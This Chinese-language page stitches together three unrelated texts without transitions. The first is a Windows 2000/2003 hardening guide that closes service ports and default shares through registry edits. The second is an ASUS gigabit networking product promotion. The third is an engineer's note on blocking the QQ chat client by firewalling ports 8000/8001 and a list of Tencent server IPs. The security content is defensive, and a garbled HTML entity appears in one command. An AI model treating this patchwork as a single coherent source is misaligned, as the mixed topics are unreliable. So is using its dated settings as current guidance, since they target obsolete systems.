         win2000中每一项服务都对应相应的端口，比如众如周知的WWW服务的端口是80，smtp是25，ftp是21，win2000安装中默认的都是这些服务开启的。对于个人用户来说确实没有必要，关掉端口也就是关闭无用的服务。一项服务到底有没有用，就要根据自己的需要自己来判断啦。  

　“控制面板”的“管理工具”中的“服务”中来配置。



　　关闭7.9等等端口：关闭Simple TCP/IP Service,支持以下 TCP/IP 服务：Character Generator, Daytime, Discard, Echo, 以及 Quote of the Day。



　　关掉21端口：关闭FTP Publishing Service,它提供的服务是通过 Internet 信息服务的管理单元提供 FTP 连接和管理。



　　关掉23端口：关闭Telnet服务，它允许远程用户登录到系统并且使用命令行运行控制台程序。



　　关掉25端口：关闭Simple Mail Transport Protocol (SMTP)服务，它提供的功能是跨网传送电子邮件。



　　关闭80口：关掉WWW服务。在“服务”中显示名称为"World Wide Web Publishing Service"，通过 Internet 信息服务的管理单元提供 Web 连接和管理。



　　关闭默认共享：在Windows 2000中，有一个“默认共享”，这是在安装服务器的时候，把系统安装分区自动进行共享，虽然对其访问还需要超级用户的密码，但这是潜在的安全隐患，从服务器的安全考虑，最好关闭这个“默认共享”，以保证系统安全。方法是：单击“开始/运行”，在运行窗口中输入“Regedit”，打开注册表编辑器，展开“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Lanmanworkstation\parameters”，在右侧窗口中创建一个名为“AutoShareWks”的双字节值，将其值设置为0，(win2000 专业版 win xp);



　　[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]



　　"AutoShareServer"=dword:00000000 (win2000 server、win2003 server)这样就可以彻底关闭“默认共享”。(对了记住在DOS下运行net share c$Content$nbsp;/del，有几个默认共享就执行几次，可别告诉我这不会喽：）

　　关闭139端口：139端口是NetBIOS　Session端口，用来文件和打印共享，注意的是运行samba的unix机器也开放了139端口，功能一样。关闭139口听方法是在“网络和拨号连接”中“本地连接”中选取“Internet协议(TCP/IP)”属性，进入“高级TCP/IP设置”“WINS设置”里面有一项“禁用TCP/IP的NETBIOS”，打勾就关闭了139端口。



　　对于个人用户来说，可以在各项服务属性设置中设为“禁用”，以免下次重启服务也重新启动，端口也开放了。



　　关闭445端口：修改注册表，添加一个键值



[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]

"SMBDeviceEnabled"=dword:00000000



　　关闭终端服务：在Windows2000 Sever版中打开“我的电脑”→“控制面板”→“ 添加/删除程序”→“添加删除Windwos组件”，把其中的“终端连接器”反安装即可！



　　修改终端服务的默认端口：

　　服务器端： 打开注册表，在“HKLM\SYSTEM\Current\ControlSet\Control\Terminal Server\Win Stations”里找到类似RDP-TCP的子键，修改PortNumber值。



　　客户端：按正常步骤建一个客户端连接，选中这个连接，在“文件”菜单中选择导出，在指定位置会生成一个后缀为.cns的文件。打开该文件，修改“Server Port”值为与服务器端的PortNumber对应的值。然后再导入该文件（方法：菜单→文件→导入），这样客户端就修改了端口。



　　禁止:IPC$空连接  

　　[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]

　　"restrictanonymous"=dword:00000001



　　记住把服务server禁止喽~~~ipc$默认共享删除~~~~这样重启后才有效喽~~~



　　关闭不必要的服务,例如Messenge服务,远程注册表访问服务,Telnet服务，当然关闭端口可以用黑基下的_blank">防火墙如blackice等来屏掉~~~或者用ipsec管理策略来禁止这些端口~~~大家在禁止一定要想好或先了解一下被禁用端口的作用~~~要不它有可能会影响你的部份操作~~~~希望能对大家有所帮助.

        
2005年将会是千兆网络应用广泛普及的一年。网络分布计算、桌面视频会议、语音服务等应用对带宽提出了新的要求，特别是动漫工作室、广告与视频工作室、游戏工作室及多媒体网络教室等大流量数据的网络应用，对网络带宽的要求更高。由于原来网络的带宽限制，传输这些较大图片与文件时，网络速度变得十分缓慢，甚至时常发生死机情况，致使正在传输的数据中断。为此，华硕推出了以千兆主干网络为基础平台，以实现高带宽、高传输速度为目的，提出一个全新的办公室理念——“Super Office”。
　　简单说来，“Super office”是华硕对具有大网络流量要求的企业客户群体的统称，这个群体的企业内部网络具有高带宽需求，为给广大“Super office”提供一个高速稳定、安全的信息传输服务，华硕整合其千兆交换机系列、千兆交换/打印服务器设备GX1104PS以及千兆宽带路由器RX3141等产品，专门针对“Super office”提供各种千兆以太网络解决方案。
　　GigaX交换机系列，在减低成本的前提下，保证网络的高可靠性、高性能、易维护、易扩展，与采用何种组网技术密切相关;在组网的技术过程当中， 交换机的快速交换功能、多个接入端口，为网络用户提供了完善的解决方案。
　　华硕RX 3141为世界首台千兆宽带路由器，是一款针对SOHO一族、小型企业网络组建的，具有顶尖性能、高带宽、易于管理并具有高性价比等特性的互联网安全路由器产品。RX3141具备4个千兆交换机功能的网关路由器，它提供千兆带宽，使每个使用者都能尽情享受高速的文件共享、视频流传输、在线游戏以及通讯的无限乐趣。还可以通过界面友好的网页GUI轻松设置或管理RX 3141。满足使用者的带宽需求，实现极速网络连接。
　　此外，传统的网络基础设备有很大的噪音，是因为这些设备里是风扇式主动散热方式，靠风扇的转动来为设备散热，噪音非常大，给办公室带来不协调的音调。华硕成功开发运用散热片来为设备散热，使企业摆脱原始的噪音污染。而且，华硕将路由器作为整个网络安全的核心设备，它采用全新的集成安全模式，把安全设计渗透到了每一个模块，每一个协议，每一个业务之中，为广大中小型企业的网络安全带来最有效的防护。

      　　现在要求禁止内网用户使用QQ、联众等聊天和网游软件的需求逐渐增多，不久前售后工程师就处理了一项此类业务。工程师在处理过程中发现了一些解决方法，现在进行一下总结，希望能供各位同事参考。下面就对这些应用来一一分析。  



　　一、 阻断QQ的连接  



　　新版QQ不仅仅通过UDP方式登录服务器，还能够以TCP方式登录。QQ在连接时首先向以下七个服务器的8000端口发送udp包。  



　　sz.tencent.com 61.144.238.145  



　　sz2.tencent.com 61.144.238.146  



　　sz3.tencent.com 202.104.129.251  



　　sz4.tencent.com 202.104.129.254  



　　sz5.tencent.com 61.141.194.203  



　　sz6.tencent.com 202.104.129.252  



　　sz7.tencent.com 202.104.129.253  



　　在阻断8000端口的连接后，发现QQ还会通过udp的8001和tcp的8000、8001端口进行连接。鉴于这些端口目前只有QQ使用，所以可以基于端口来作阻断规则。  



　　在用防火墙阻断以上端口的数据包后，发现QQ还会通过tcp的80和443端口进行连接。如果针对这两个端口作阻断规则，会影响用户的正常上网，所以只能对服务器的ip地址来作规则。通过试验发现了以下可通过80和443端口建立连接的QQ服务器：  



　　218.17.217.106  



　　219.133.40.95  



　　219.133.40.97,  



　　219.133.40.157,





219.133.40.177,  



　　219.133.40.73,  



　　219.133.40.189  



　　218.18.95.153  



　　218.17.209.23  



　　202.104.129.253  



　　218.17.209.42  



　　在针对这些IP作阻断规则后，QQ已基本无法登录。  



　　在试验中还发现，QQ安装目录下的Config.db文件，其中记录了QQ服务器的地址，与我们上面找到的完全符合。  



　　因此，在用防火墙阻止用户使用QQ上网时，除了阻止tcp和udp的8000、8001端口外，还需阻断与QQ服务器的连接。下面列举了在试验中找到的和在网上查到的QQ服务器IP：  



　　61.141.194.203  



　　61.144.238.145/146/149/155  



　　61.172.249.135  



　　65.54.229.253  



　　202.96.170.164  



　　202.104.129.151/251/252/253/254  



　　211.157.38.38  



　　218.17.209.23/42  



　　218.17.217.106  



　　218.18.95.153/165  



　　219.133.40. 21/73/89/90/92/95/97/157/177/189（这个网段的服务器地址较多，可以考虑阻断整个网段）  



　　虽然以上方法可以起到阻断QQ连接的作用，但如果腾讯增加新的QQ服务器，QQ也还是可以登录的。另外，用第三方的代理软件如NEC E-BORDER等，支持Anonymous的Socks5代理还是可能绕过去，登陆使用QQ。